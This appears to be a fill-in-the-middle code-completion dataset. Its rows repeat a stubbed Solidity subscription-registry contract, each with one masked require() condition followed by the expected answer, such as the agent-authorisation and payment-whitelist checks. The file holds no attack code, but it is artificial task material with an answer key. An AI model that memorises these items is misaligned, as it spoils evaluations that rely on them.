/// @notice Only white listed assets can be used on platform
mapping(address => bool) public whiteListedForPayments;
/// @notice from service(=smart contract address) to tarifs
mapping(address => Tariff[]) public availableTariffs;
/// @notice from service to agent to available tarifs(tarif index);
mapping(address => mapping(address => uint256[])) public agentServiceRegistry;
/// @notice mapping from user addres to service contract address to ticket
mapping(address => mapping(address => Ticket)) public userTickets;
event PlatfromFeeChanged(uint16 indexed newPercent);
event WhitelistPaymentTokenChanged(address indexed asset, bool indexed state);
event TariffChanged(address indexed service, uint256 indexed tariffIndex);
event TicketIssued(
address indexed service,
address indexed agent,
address indexed forUser,
uint256 tariffIndex
);
constructor(address _platformOwner) {
}
/**
* @notice Add new tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _newTariff full encded Tariff object
* @return last added tariff index in Tariff[] array
* for current Service Provider (msg.sender)
*/
function registerServiceTariff(Tariff calldata _newTariff)
external
returns(uint256)
{
}
/**
* @notice Edit tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _timelockPeriod - see SubscriptionType notice above
* @param _ticketValidPeriod - see SubscriptionType notice above
* @param _counter - see SubscriptionType notice above
* @param _isAvailable - see SubscriptionType notice above
* @param _beneficiary - see SubscriptionType notice above
*/
function editServiceTariff(
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
)
external
{
}
/**
* @notice Add tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for add tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* @return last added PaymentOption index in array
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function addTariffPayOption(
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external returns(uint256)
{
}
/**
* @notice Edit tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for edit tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function editTariffPayOption(
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external
{
}
/**
* @notice Authorize agent for caller service provider
* @dev Call this method from ServiceProvider
*
* @param _agent - address of contract that implement Agent role
* @param _serviceTariffIndexes - array of index in `availableTariffs` array
* that available for given `_agent`
* @return full array of actual tarifs for this agent
*/
function authorizeAgentForService(
address _agent,
uint256[] calldata _serviceTariffIndexes
) external virtual returns (uint256[] memory)
{
}
/**
* @notice By Ticket for subscription
* @dev Call this method from Agent
*
* @param _service - Service Provider address
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _buyFor - address for whome this ticket would be bought
* @param _payer - address of payer for this ticket
* @return ticket structure that would be use for validate service process
*/
function buySubscription(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _buyFor,
address _payer
) external
payable
returns(Ticket memory ticket) {
// Cant buy ticket for nobody
require(_buyFor != address(0),'Cant buy ticket for nobody');
require(
availableTariffs[_service][_tariffIndex].subscription.isAvailable,
'This subscription not available'
);
// Not used in this implementation
// require(
// availableTariffs[_service][_tariffIndex].payWith[_payWithIndex].paymentAmount > 0,
// 'This Payment option not available'
// );
// Check that agent is authorized for purchace of this service
require(<FILL_ME>)
(bool isValid, bool needFix) = _isTicketValid(_buyFor, _service);
require(!isValid, 'Only one valid ticket at time');
//lets safe user ticket (only one ticket available in this version)
ticket = Ticket(
availableTariffs[_service][_tariffIndex].subscription.ticketValidPeriod + block.timestamp,
availableTariffs[_service][_tariffIndex].subscription.counter
);
userTickets[_buyFor][_service] = ticket;
// Lets receive payment tokens FROM sender
if (availableTariffs[_service][_tariffIndex].payWith[_payWithIndex].paymentAmount > 0){
_processPayment(_service, _tariffIndex, _payWithIndex, _payer);
}
emit TicketIssued(_service, msg.sender, _buyFor, _tariffIndex);
}
/**
* @notice Check that `_user` have still valid ticket for this service.
* Decrement ticket counter in case it > 0
* @dev Call this method from ServiceProvider
*
* @param _user - address of user who has an ticket and who trying get service
* @return ok True in case ticket is valid
*/
function checkAndFixUserSubscription(
address _user
) external returns (bool ok){
}
/**
* @notice Decrement ticket counter in case it > 0
* @dev Call this method from new SubscriptionRegistry in case of upgrade
*
* @param _user - address of user who has an ticket and who trying get service
* @param _serviceFromProxy - address of service from more new SubscriptionRegistry contract
*/
function fixUserSubscription(
address _user,
address _serviceFromProxy
) public {
}
////////////////////////////////////////////////////////////////
/**
* @notice Check that `_user` have still valid ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ok True in case ticket is valid
* @return needFix True in case ticket has counter > 0
*/
function checkUserSubscription(
address _user,
address _service
) external view returns (bool ok, bool needFix) {
}
/**
* @notice Returns `_user` ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ticket
*/
function getUserTicketForService(
address _service,
address _user
) public view returns(Ticket memory)
{
}
/**
* @notice Returns array of Tariff for `_service`
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @return Tariff array
*/
function getTariffsForService(address _service) external view returns (Tariff[] memory) {
}
/**
* @notice Returns ticket price include any fees
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @return tulpe with payment token an ticket price
*/
function getTicketPrice(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) public view virtual returns (address, uint256)
{
}
/**
* @notice Returns array of Tariff for `_service` assigned to `_agent`
* @dev Call this method from any context
*
* @param _agent - address of Agent
* @param _service - address of Service Provider
* @return tuple with two arrays: indexes and Tariffs
*/
function getAvailableAgentsTariffForService(
address _agent,
address _service
) external view virtual returns(uint256[] memory, Tariff[] memory)
{
}
////////////////////////////////////////////////////////////////
////////// Admins //////
////////////////////////////////////////////////////////////////
function setAssetForPaymentState(address _asset, bool _isEnable)
external onlyOwner
{
}
function setMainWrapper(address _wrapper) external onlyOwner {
}
function setPlatformOwner(address _newOwner) external {
}
function setPlatformFeePercent(uint16 _newPercent) external {
}
function setPreviousRegistry(address _registry) external onlyOwner {
}
function setProxyRegistry(address _registry) external onlyOwner {
}
/////////////////////////////////////////////////////////////////////
function _processPayment(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _payer
)
internal
virtual
returns(bool)
{
}
// In this impementation params not used.
// Can be ovveriden in other cases
function _platformFeePercent(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) internal view virtual returns(uint256)
{
}
function _addTariff(address _service, Tariff calldata _newTariff)
internal returns(uint256)
{
}
function _editTariff(
address _service,
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
) internal
{
}
function _addTariffPayOption(
address _service,
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal returns(uint256)
{
}
function _editTariffPayOption(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal
{
}
function _fixUserSubscription(
address _user,
address _service
) internal {
}
function _isTicketValid(address _user, address _service)
internal
view
returns (bool isValid, bool needFix )
{
}
function _isAgentAuthorized(
address _agent,
address _service,
uint256 _tariffIndex
)
internal
view
returns(bool authorized)
{
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
| _isAgentAuthorized(msg.sender,_service,_tariffIndex),'Agent not authorized for this service tariff' | 476,486 | _isAgentAuthorized(msg.sender,_service,_tariffIndex) |
'Only one valid ticket at time' | // SPDX-License-Identifier: MIT
// ENVELOP(NIFTSY) Team. Subscription Registry Contract V2
pragma solidity 0.8.19;
import "Ownable.sol";
import "SafeERC20.sol";
import "ITrustedWrapper.sol";
import "LibEnvelopTypes.sol";
import "ISubscriptionRegistry.sol";
/// The subscription platform operates with the following role model
/// (it is assumed that the actor with the role is implemented as a contract).
/// `Service Provider` is a contract whose services are sold by subscription.
/// `Agent` - a contract that sells a subscription on behalf ofservice provider.
/// May receive sales commission
/// `Platform` - SubscriptionRegistry contract that performs processingsubscriptions,
/// fares, tickets
struct SubscriptionType {
uint256 timelockPeriod; // in seconds e.g. 3600*24*30*12 = 31104000 = 1 year
uint256 ticketValidPeriod; // in seconds e.g. 3600*24*30 = 2592000 = 1 month
uint256 counter; // For case when ticket valid for N usage, e.g. for Min N NFTs
bool isAvailable; // USe for stop using tariff because we can`t remove tariff from array
address beneficiary; // Who will receive payment for tickets
}
struct PayOption {
address paymentToken; // token contract address or zero address for native token(ETC etc)
uint256 paymentAmount; // ticket price exclude any fees
uint16 agentFeePercent; // 100%-10000, 20%-2000, 3%-300
}
struct Tariff {
SubscriptionType subscription; // link to subscriptionType
PayOption[] payWith; // payment option array. Use it for price in defferent tokens
}
// native subscribtionManager tickets format
struct Ticket {
uint256 validUntil; // Unixdate, tickets not valid after
uint256 countsLeft; // for tarif with fixed use counter
}
/// @title Base contract in Envelop Subscription Platform
/// @author Envelop Team
/// @notice You can use this contract for make and operate any on-chain subscriptions
/// @dev Contract that performs processing subscriptions, fares(tariffs), tickets
/// @custom:please see example folder.
contract SubscriptionRegistry is Ownable {
using SafeERC20 for IERC20;
uint256 constant public PERCENT_DENOMINATOR = 10000;
/// @notice Envelop Multisig contract
address public platformOwner;
/// @notice Platform owner can receive fee from each payments
uint16 public platformFeePercent = 50; // 100%-10000, 20%-2000, 3%-300
/// @notice address used for wrapp & lock incoming assets
address public mainWrapper;
/// @notice Used in case upgrade this contract
address public previousRegistry;
/// @notice Used in case upgrade this contract
address public proxyRegistry;
/// @notice Only white listed assets can be used on platform
mapping(address => bool) public whiteListedForPayments;
/// @notice from service(=smart contract address) to tarifs
mapping(address => Tariff[]) public availableTariffs;
/// @notice from service to agent to available tarifs(tarif index);
mapping(address => mapping(address => uint256[])) public agentServiceRegistry;
/// @notice mapping from user addres to service contract address to ticket
mapping(address => mapping(address => Ticket)) public userTickets;
event PlatfromFeeChanged(uint16 indexed newPercent);
event WhitelistPaymentTokenChanged(address indexed asset, bool indexed state);
event TariffChanged(address indexed service, uint256 indexed tariffIndex);
event TicketIssued(
address indexed service,
address indexed agent,
address indexed forUser,
uint256 tariffIndex
);
constructor(address _platformOwner) {
}
/**
* @notice Add new tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _newTariff full encded Tariff object
* @return last added tariff index in Tariff[] array
* for current Service Provider (msg.sender)
*/
function registerServiceTariff(Tariff calldata _newTariff)
external
returns(uint256)
{
}
/**
* @notice Edit tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _timelockPeriod - see SubscriptionType notice above
* @param _ticketValidPeriod - see SubscriptionType notice above
* @param _counter - see SubscriptionType notice above
* @param _isAvailable - see SubscriptionType notice above
* @param _beneficiary - see SubscriptionType notice above
*/
function editServiceTariff(
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
)
external
{
}
/**
* @notice Add tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for add tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* @return last added PaymentOption index in array
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function addTariffPayOption(
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external returns(uint256)
{
}
/**
* @notice Edit tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for edit tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function editTariffPayOption(
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external
{
}
/**
* @notice Authorize agent for caller service provider
* @dev Call this method from ServiceProvider
*
* @param _agent - address of contract that implement Agent role
* @param _serviceTariffIndexes - array of index in `availableTariffs` array
* that available for given `_agent`
* @return full array of actual tarifs for this agent
*/
function authorizeAgentForService(
address _agent,
uint256[] calldata _serviceTariffIndexes
) external virtual returns (uint256[] memory)
{
}
/**
* @notice By Ticket for subscription
* @dev Call this method from Agent
*
* @param _service - Service Provider address
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _buyFor - address for whome this ticket would be bought
* @param _payer - address of payer for this ticket
* @return ticket structure that would be use for validate service process
*/
function buySubscription(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _buyFor,
address _payer
) external
payable
returns(Ticket memory ticket) {
// Cant buy ticket for nobody
require(_buyFor != address(0),'Cant buy ticket for nobody');
require(
availableTariffs[_service][_tariffIndex].subscription.isAvailable,
'This subscription not available'
);
// Not used in this implementation
// require(
// availableTariffs[_service][_tariffIndex].payWith[_payWithIndex].paymentAmount > 0,
// 'This Payment option not available'
// );
// Check that agent is authorized for purchace of this service
require(
_isAgentAuthorized(msg.sender, _service, _tariffIndex),
'Agent not authorized for this service tariff'
);
(bool isValid, bool needFix) = _isTicketValid(_buyFor, _service);
require(<FILL_ME>)
//lets safe user ticket (only one ticket available in this version)
ticket = Ticket(
availableTariffs[_service][_tariffIndex].subscription.ticketValidPeriod + block.timestamp,
availableTariffs[_service][_tariffIndex].subscription.counter
);
userTickets[_buyFor][_service] = ticket;
// Lets receive payment tokens FROM sender
if (availableTariffs[_service][_tariffIndex].payWith[_payWithIndex].paymentAmount > 0){
_processPayment(_service, _tariffIndex, _payWithIndex, _payer);
}
emit TicketIssued(_service, msg.sender, _buyFor, _tariffIndex);
}
/**
* @notice Check that `_user` have still valid ticket for this service.
* Decrement ticket counter in case it > 0
* @dev Call this method from ServiceProvider
*
* @param _user - address of user who has an ticket and who trying get service
* @return ok True in case ticket is valid
*/
function checkAndFixUserSubscription(
address _user
) external returns (bool ok){
}
/**
* @notice Decrement ticket counter in case it > 0
* @dev Call this method from new SubscriptionRegistry in case of upgrade
*
* @param _user - address of user who has an ticket and who trying get service
* @param _serviceFromProxy - address of service from more new SubscriptionRegistry contract
*/
function fixUserSubscription(
address _user,
address _serviceFromProxy
) public {
}
////////////////////////////////////////////////////////////////
/**
* @notice Check that `_user` have still valid ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ok True in case ticket is valid
* @return needFix True in case ticket has counter > 0
*/
function checkUserSubscription(
address _user,
address _service
) external view returns (bool ok, bool needFix) {
}
/**
* @notice Returns `_user` ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ticket
*/
function getUserTicketForService(
address _service,
address _user
) public view returns(Ticket memory)
{
}
/**
* @notice Returns array of Tariff for `_service`
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @return Tariff array
*/
function getTariffsForService(address _service) external view returns (Tariff[] memory) {
}
/**
* @notice Returns ticket price include any fees
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @return tulpe with payment token an ticket price
*/
function getTicketPrice(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) public view virtual returns (address, uint256)
{
}
/**
* @notice Returns array of Tariff for `_service` assigned to `_agent`
* @dev Call this method from any context
*
* @param _agent - address of Agent
* @param _service - address of Service Provider
* @return tuple with two arrays: indexes and Tariffs
*/
function getAvailableAgentsTariffForService(
address _agent,
address _service
) external view virtual returns(uint256[] memory, Tariff[] memory)
{
}
////////////////////////////////////////////////////////////////
////////// Admins //////
////////////////////////////////////////////////////////////////
function setAssetForPaymentState(address _asset, bool _isEnable)
external onlyOwner
{
}
function setMainWrapper(address _wrapper) external onlyOwner {
}
function setPlatformOwner(address _newOwner) external {
}
function setPlatformFeePercent(uint16 _newPercent) external {
}
function setPreviousRegistry(address _registry) external onlyOwner {
}
function setProxyRegistry(address _registry) external onlyOwner {
}
/////////////////////////////////////////////////////////////////////
function _processPayment(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _payer
)
internal
virtual
returns(bool)
{
}
// In this impementation params not used.
// Can be ovveriden in other cases
function _platformFeePercent(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) internal view virtual returns(uint256)
{
}
function _addTariff(address _service, Tariff calldata _newTariff)
internal returns(uint256)
{
}
function _editTariff(
address _service,
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
) internal
{
}
function _addTariffPayOption(
address _service,
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal returns(uint256)
{
}
function _editTariffPayOption(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal
{
}
function _fixUserSubscription(
address _user,
address _service
) internal {
}
function _isTicketValid(address _user, address _service)
internal
view
returns (bool isValid, bool needFix )
{
}
function _isAgentAuthorized(
address _agent,
address _service,
uint256 _tariffIndex
)
internal
view
returns(bool authorized)
{
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
| !isValid,'Only one valid ticket at time' | 476,486 | !isValid |
'Not whitelisted for payments' | // SPDX-License-Identifier: MIT
// ENVELOP(NIFTSY) Team. Subscription Registry Contract V2
pragma solidity 0.8.19;
import "Ownable.sol";
import "SafeERC20.sol";
import "ITrustedWrapper.sol";
import "LibEnvelopTypes.sol";
import "ISubscriptionRegistry.sol";
/// The subscription platform operates with the following role model
/// (it is assumed that the actor with the role is implemented as a contract).
/// `Service Provider` is a contract whose services are sold by subscription.
/// `Agent` - a contract that sells a subscription on behalf ofservice provider.
/// May receive sales commission
/// `Platform` - SubscriptionRegistry contract that performs processingsubscriptions,
/// fares, tickets
struct SubscriptionType {
uint256 timelockPeriod; // in seconds e.g. 3600*24*30*12 = 31104000 = 1 year
uint256 ticketValidPeriod; // in seconds e.g. 3600*24*30 = 2592000 = 1 month
uint256 counter; // For case when ticket valid for N usage, e.g. for Min N NFTs
bool isAvailable; // USe for stop using tariff because we can`t remove tariff from array
address beneficiary; // Who will receive payment for tickets
}
struct PayOption {
address paymentToken; // token contract address or zero address for native token(ETC etc)
uint256 paymentAmount; // ticket price exclude any fees
uint16 agentFeePercent; // 100%-10000, 20%-2000, 3%-300
}
struct Tariff {
SubscriptionType subscription; // link to subscriptionType
PayOption[] payWith; // payment option array. Use it for price in defferent tokens
}
// native subscribtionManager tickets format
struct Ticket {
uint256 validUntil; // Unixdate, tickets not valid after
uint256 countsLeft; // for tarif with fixed use counter
}
/// @title Base contract in Envelop Subscription Platform
/// @author Envelop Team
/// @notice You can use this contract for make and operate any on-chain subscriptions
/// @dev Contract that performs processing subscriptions, fares(tariffs), tickets
/// @custom:please see example folder.
contract SubscriptionRegistry is Ownable {
using SafeERC20 for IERC20;
uint256 constant public PERCENT_DENOMINATOR = 10000;
/// @notice Envelop Multisig contract
address public platformOwner;
/// @notice Platform owner can receive fee from each payments
uint16 public platformFeePercent = 50; // 100%-10000, 20%-2000, 3%-300
/// @notice address used for wrapp & lock incoming assets
address public mainWrapper;
/// @notice Used in case upgrade this contract
address public previousRegistry;
/// @notice Used in case upgrade this contract
address public proxyRegistry;
/// @notice Only white listed assets can be used on platform
mapping(address => bool) public whiteListedForPayments;
/// @notice from service(=smart contract address) to tarifs
mapping(address => Tariff[]) public availableTariffs;
/// @notice from service to agent to available tarifs(tarif index);
mapping(address => mapping(address => uint256[])) public agentServiceRegistry;
/// @notice mapping from user addres to service contract address to ticket
mapping(address => mapping(address => Ticket)) public userTickets;
event PlatfromFeeChanged(uint16 indexed newPercent);
event WhitelistPaymentTokenChanged(address indexed asset, bool indexed state);
event TariffChanged(address indexed service, uint256 indexed tariffIndex);
event TicketIssued(
address indexed service,
address indexed agent,
address indexed forUser,
uint256 tariffIndex
);
constructor(address _platformOwner) {
}
/**
* @notice Add new tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _newTariff full encded Tariff object
* @return last added tariff index in Tariff[] array
* for current Service Provider (msg.sender)
*/
function registerServiceTariff(Tariff calldata _newTariff)
external
returns(uint256)
{
}
/**
* @notice Edit tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _timelockPeriod - see SubscriptionType notice above
* @param _ticketValidPeriod - see SubscriptionType notice above
* @param _counter - see SubscriptionType notice above
* @param _isAvailable - see SubscriptionType notice above
* @param _beneficiary - see SubscriptionType notice above
*/
function editServiceTariff(
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
)
external
{
}
/**
* @notice Add tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for add tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* @return last added PaymentOption index in array
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function addTariffPayOption(
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external returns(uint256)
{
}
/**
* @notice Edit tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for edit tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function editTariffPayOption(
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external
{
}
/**
* @notice Authorize agent for caller service provider
* @dev Call this method from ServiceProvider
*
* @param _agent - address of contract that implement Agent role
* @param _serviceTariffIndexes - array of index in `availableTariffs` array
* that available for given `_agent`
* @return full array of actual tarifs for this agent
*/
function authorizeAgentForService(
address _agent,
uint256[] calldata _serviceTariffIndexes
) external virtual returns (uint256[] memory)
{
}
/**
* @notice By Ticket for subscription
* @dev Call this method from Agent
*
* @param _service - Service Provider address
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _buyFor - address for whome this ticket would be bought
* @param _payer - address of payer for this ticket
* @return ticket structure that would be use for validate service process
*/
function buySubscription(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _buyFor,
address _payer
) external
payable
returns(Ticket memory ticket) {
}
/**
* @notice Check that `_user` have still valid ticket for this service.
* Decrement ticket counter in case it > 0
* @dev Call this method from ServiceProvider
*
* @param _user - address of user who has an ticket and who trying get service
* @return ok True in case ticket is valid
*/
function checkAndFixUserSubscription(
address _user
) external returns (bool ok){
}
/**
* @notice Decrement ticket counter in case it > 0
* @dev Call this method from new SubscriptionRegistry in case of upgrade
*
* @param _user - address of user who has an ticket and who trying get service
* @param _serviceFromProxy - address of service from more new SubscriptionRegistry contract
*/
function fixUserSubscription(
address _user,
address _serviceFromProxy
) public {
}
////////////////////////////////////////////////////////////////
/**
* @notice Check that `_user` have still valid ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ok True in case ticket is valid
* @return needFix True in case ticket has counter > 0
*/
function checkUserSubscription(
address _user,
address _service
) external view returns (bool ok, bool needFix) {
}
/**
* @notice Returns `_user` ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ticket
*/
function getUserTicketForService(
address _service,
address _user
) public view returns(Ticket memory)
{
}
/**
* @notice Returns array of Tariff for `_service`
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @return Tariff array
*/
function getTariffsForService(address _service) external view returns (Tariff[] memory) {
}
/**
* @notice Returns ticket price include any fees
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @return tulpe with payment token an ticket price
*/
function getTicketPrice(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) public view virtual returns (address, uint256)
{
}
/**
* @notice Returns array of Tariff for `_service` assigned to `_agent`
* @dev Call this method from any context
*
* @param _agent - address of Agent
* @param _service - address of Service Provider
* @return tuple with two arrays: indexes and Tariffs
*/
function getAvailableAgentsTariffForService(
address _agent,
address _service
) external view virtual returns(uint256[] memory, Tariff[] memory)
{
}
////////////////////////////////////////////////////////////////
////////// Admins //////
////////////////////////////////////////////////////////////////
function setAssetForPaymentState(address _asset, bool _isEnable)
external onlyOwner
{
}
function setMainWrapper(address _wrapper) external onlyOwner {
}
function setPlatformOwner(address _newOwner) external {
}
function setPlatformFeePercent(uint16 _newPercent) external {
}
function setPreviousRegistry(address _registry) external onlyOwner {
}
function setProxyRegistry(address _registry) external onlyOwner {
}
/////////////////////////////////////////////////////////////////////
function _processPayment(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _payer
)
internal
virtual
returns(bool)
{
}
// In this impementation params not used.
// Can be ovveriden in other cases
function _platformFeePercent(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) internal view virtual returns(uint256)
{
}
function _addTariff(address _service, Tariff calldata _newTariff)
internal returns(uint256)
{
require (_newTariff.payWith.length > 0, 'No payment method');
for (uint256 i; i < _newTariff.payWith.length; ++i){
require(<FILL_ME>)
}
require(
_newTariff.subscription.ticketValidPeriod > 0
|| _newTariff.subscription.counter > 0,
'Tariff has no valid ticket option'
);
availableTariffs[_service].push(_newTariff);
emit TariffChanged(_service, availableTariffs[_service].length - 1);
return availableTariffs[_service].length - 1;
}
function _editTariff(
address _service,
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
) internal
{
}
function _addTariffPayOption(
address _service,
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal returns(uint256)
{
}
function _editTariffPayOption(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal
{
}
function _fixUserSubscription(
address _user,
address _service
) internal {
}
function _isTicketValid(address _user, address _service)
internal
view
returns (bool isValid, bool needFix )
{
}
function _isAgentAuthorized(
address _agent,
address _service,
uint256 _tariffIndex
)
internal
view
returns(bool authorized)
{
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
| whiteListedForPayments[_newTariff.payWith[i].paymentToken],'Not whitelisted for payments' | 476,486 | whiteListedForPayments[_newTariff.payWith[i].paymentToken] |
'Not whitelisted for payments' | // SPDX-License-Identifier: MIT
// ENVELOP(NIFTSY) Team. Subscription Registry Contract V2
pragma solidity 0.8.19;
import "Ownable.sol";
import "SafeERC20.sol";
import "ITrustedWrapper.sol";
import "LibEnvelopTypes.sol";
import "ISubscriptionRegistry.sol";
/// The subscription platform operates with the following role model
/// (it is assumed that the actor with the role is implemented as a contract).
/// `Service Provider` is a contract whose services are sold by subscription.
/// `Agent` - a contract that sells a subscription on behalf ofservice provider.
/// May receive sales commission
/// `Platform` - SubscriptionRegistry contract that performs processingsubscriptions,
/// fares, tickets
struct SubscriptionType {
uint256 timelockPeriod; // in seconds e.g. 3600*24*30*12 = 31104000 = 1 year
uint256 ticketValidPeriod; // in seconds e.g. 3600*24*30 = 2592000 = 1 month
uint256 counter; // For case when ticket valid for N usage, e.g. for Min N NFTs
bool isAvailable; // USe for stop using tariff because we can`t remove tariff from array
address beneficiary; // Who will receive payment for tickets
}
struct PayOption {
address paymentToken; // token contract address or zero address for native token(ETC etc)
uint256 paymentAmount; // ticket price exclude any fees
uint16 agentFeePercent; // 100%-10000, 20%-2000, 3%-300
}
struct Tariff {
SubscriptionType subscription; // link to subscriptionType
PayOption[] payWith; // payment option array. Use it for price in defferent tokens
}
// native subscribtionManager tickets format
struct Ticket {
uint256 validUntil; // Unixdate, tickets not valid after
uint256 countsLeft; // for tarif with fixed use counter
}
/// @title Base contract in Envelop Subscription Platform
/// @author Envelop Team
/// @notice You can use this contract for make and operate any on-chain subscriptions
/// @dev Contract that performs processing subscriptions, fares(tariffs), tickets
/// @custom:please see example folder.
contract SubscriptionRegistry is Ownable {
using SafeERC20 for IERC20;
uint256 constant public PERCENT_DENOMINATOR = 10000;
/// @notice Envelop Multisig contract
address public platformOwner;
/// @notice Platform owner can receive fee from each payments
uint16 public platformFeePercent = 50; // 100%-10000, 20%-2000, 3%-300
/// @notice address used for wrapp & lock incoming assets
address public mainWrapper;
